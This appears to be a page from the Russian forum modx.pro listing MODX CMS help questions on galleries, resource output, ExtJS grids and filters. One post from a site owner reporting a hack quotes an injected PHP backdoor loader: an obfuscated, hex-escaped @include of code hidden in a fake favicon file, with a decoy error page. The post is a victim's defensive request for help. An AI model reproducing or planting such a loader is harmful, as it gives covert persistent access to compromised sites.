Вопросы

Не меняет превью ms2gallery

Привет всем

Чанк tpl.ms2Gallery.outer, в нем вывод изображения:
<a data-lightbox="roadtrip" href="[[+url]]" class="startshop-image startshop-fancy">
                <img src="[[+360x270]]" alt="[[+alt]]" title="[[+name]]" class="mainImage" />
                <div class="startshop-aligner-vertical"></div>
</a>
Заменяю href="[[+url]]" на любой другой, даже href="[[+120x90]]" — выводит все равно оригинал картинки. Не хочет подхватывать новый размер и все. В чем дело, неясно совершенно.

Кэш и сайта и браузера, разумеется, почищены не на раз.
Al Benedict
04 января 2018, 07:25
modx.pro
1 052
0

Смена родительского ресурса по расписанию

Здравствуйте. Подскажите пожалуйста, как сделать автоматический перенос ресурса из одного родителя в другой, по расписанию. К примеру есть ресурсы в родителе с id 5, нужно что бы, допустим, по наступлении даты отмены публикации он переносился в родитель под id 7.
Ростислав
03 января 2018, 12:32
modx.pro
2
1 582
0

Массовое создание элементов

Есть текстовый файл вида
имя элемента | описание элемента | категория элемента
на несколько сотен строк. можно как-то из него создать аналогичное количество ресурсов в MODX соответственно
[[*pagetitle]]= имя элемента
[[*description]] = описание элемента
TV-параметр = категория элемента
Андрей
03 января 2018, 10:55
modx.pro
3
2 530
0

Как вывести ресурс, который является родителем по отношению к текущему ресурсу?

Есть структура такого вида:

Категория (1)
  • Товар (3)
  • Товар (4)

Категория (2)
  • Товар (5)
  • Товар (6)
В шаблоне товара, кроме вывода самого товара через msProduct.content, надо вывести content категории, к которой он принадлежит.

Начал я примерно так, но, разумеется, выводится контент обеих категорий.

[[!pdoResources?
	&parents=`0`
	&depth=`0`
	&select=`content`
	&tpl=`myTpl`
]]

Как указать, что нужно выводить контент для id, которое является родителем по отношению к текущему ресурсу?

То есть для 3,4 должен выводиться 1, а для 5,6 — 2 и тд.
Филипп
02 января 2018, 17:39
modx.pro
1
1 200
0

Турбо страницы / AMP на modx

Занимаюсь сео, на многих клиентских сайтах поставили турбо и amp, полет отличный.
Хотел, предложить разработчикам, сделать простенький модуль под modx. Спрос в связи с хайпом будет нормальный, труда думаю не много займет. Я по крайней мере, бы, купил от 500-1000р. Да, без плагинов все настраивается легко, но аудитория думаю не только разработчики.
v2254303
02 января 2018, 16:44
modx.pro
3
3 060
0

MobileDetect 2.0.0-pl функция "планшеты как стандартные браузеры не работает"

Добрый день в версии 2.0.0-pl, в режиме сниппета не работает функция «планшеты как стандартные браузеры». В системных настройках выставил «Да». Всё равно определяет как планшет. В режиме тегов всё нормально. Десктоп и мобильный определяет вроде нормально.
Александр
02 января 2018, 06:47
modx.pro
1 645
0

ExtJs. Использование SuperBoxSelect в Grid

Добрый вечер/день/утро)
Пытаюсь использовать SuperBoxSelect в Grid.
...
	columns: [
		this.sm,
		{dataIndex: 'id',  			width: 100, header: 'ID'},
		{dataIndex: 'name',			width: 400, header: 'Name'},
		{dataIndex: 'block',	width: 500, header: 'Block', 
			editor: {
				// тут я его вызываю
				xtype:'combo-superselect-collection', 
				disabled: false,
				id: Ext.id() + 'combo-superselect-collection',
				renderer: function(v) {
						// по идее, сюда он должен прилететь в виде строки
						return v.toString();
					},
				listeners: {
					additem: function(r){
						// тут обрабатываю полученные значения
						this.getSelect(r.id);
					},
					removeitem: function(r){
						this.getSelect(r.id);
					},
					scope: this
				}
			}
		},
	],
...
В getSelect:
...
	getSelect: function(val){
		var element	= Ext.getCmp(val);
		var items 	= element.items.items;
		var itemsText 	= '';
		for(var i = 0; i <= items.length-1; i++){
			itemsText += items[i]['value'] + ': ' + items[i]['caption'] + ',';
		}
		itemsText = itemsText.slice(0, -1);
		element.renderer = itemsText;
		// тут сформированная строка летит в renderer 
		compilation.renderer = itemsText;
	},
...
Мысль такая, получить данные из SuperBoxSelect, превратить в строку и вывести через запятую в renderer (насколько я понял именно туда он и должен лететь). При двойном клике все в порядке, SuperBoxSelect срабатывает и можно выбрать элементы, сами элементы обрабатываются тоже корректно. Но когда SuperBoxSelect закрывается, все очищается! При этом в console.log(element) все как надо, и именно при окончании выбора происходит очищение.
Подскажите пожалуйста, в чем может быть проблема? Может я выбрал/придумал не верный метод и на самом деле надо делать иначе? Опять же, если лень пояснять как надо, то киньте линк в исходники похожей ситуации. В любом случае в долгу не останусь…
man
man
01 января 2018, 22:58
modx.pro
1 489
0

Как пользоваться VirtualPage

Простите за сеошный заголовок. Искал пошаговую инструкция и в сети и на modx.pro.
Поделитесь ссылкой пожалуйста, если есть статья, где подробно, описывается, процесс создания виртуальных страниц.
Имеем урл: сайт.ру/категория/товар
Хочу вынести отзывы о товаре на отдельную страницу сайт.ру/категория/товар/отзывы-о-товаре
Для отзывов использую easyComm

Есть еще задача посложнее, с которой, надеюсь VirtualPage справится.
В карточке товара, в характеристиках сделать, некоторые значения характеристик ссылкой.
Например: Цвет товара — красный (где красный, ссылка на виртуальную страницу, со всеми товарами сайта, красного цвета)
Если я не правильно планирую использовать для этого VirtualPage, просьба подсказать более правильное решение. Так-как такие перекрестные ссылки, тренд 2017-2018 года, я думаю кто-то, уже это делал и есть готовое решение, за которое я готов и заплатить.
Всем тепла в этом и следующем году
v2254303
30 декабря 2017, 07:51
modx.pro
4
2 667
+1

Взлом сайта

Добрый день.
Сегодня зарегистрировали взлом сайта. При поиске по серверу были обнаружены следующие файлы:
/core/lexicon/index.php
с таким содержимым:
<?php
/*93a2a*/

@include "\x2fva\x72/w\x77w/\x75se\x726/\x64at\x61/w\x77w/\x64iz\x61in\x76ol\x6fs.\x72u/\x63or\x65/m\x6fde\x6c/a\x77s/\x66av\x69co\x6e_e\x39e6\x35a.\x69co";

/*93a2a*/


echo file_get_contents('index.html.bak.bak');
И рядышком файл
index.html.bak.bak
с таким содержимым:
<h2>Unauthorized access</h2>
You're not allowed to access file folder
В логах много таких записей:
«GET /site/emvkdb.php?nuxk=2011-nissan-gtr-for-sale HTTP/1.0» 200 4080 "-" «Mozilla/5.0 (compatible; MJ12bot/v1.4.7; mj12bot.com/
Конструкция из файла index.php обнаружена в нескольких файлах, с разными символами, но принцип один и тот же. Скажите, была и ли кого-то такая проблема и как ее решали? Ну и в целом как обезопасить себя от подобных неприятностей?
Андрей
29 декабря 2017, 08:42
modx.pro
2
5 165
0

mFilter2 фильтрация по категориям

Можно ли как то реализовать фильтрацию по категориям, например структура такая:
<ul>
	<li>Категория 1
		<ul>
			<li>Подкатегория 1</li>
			<li>Подкатегория 2</li>
		</ul>
	</li>
	<li>Категория 2
		<ul>
			<li>Подкатегория 3</li>
			<li>Подкатегория 4</li>
		</ul>
	</li>
</ul>
Т.е. в фильтрах должны быть селекты:
1-й селект:
Категория 1
Категория 2
2-й селект:
Подкатегория 1
Подкатегория 2
Подкатегория 3
Подкатегория 4
ну и что бы исключения работали, селектов может быть и больше.
Илья Александрович
29 декабря 2017, 07:52
modx.pro
2 103
0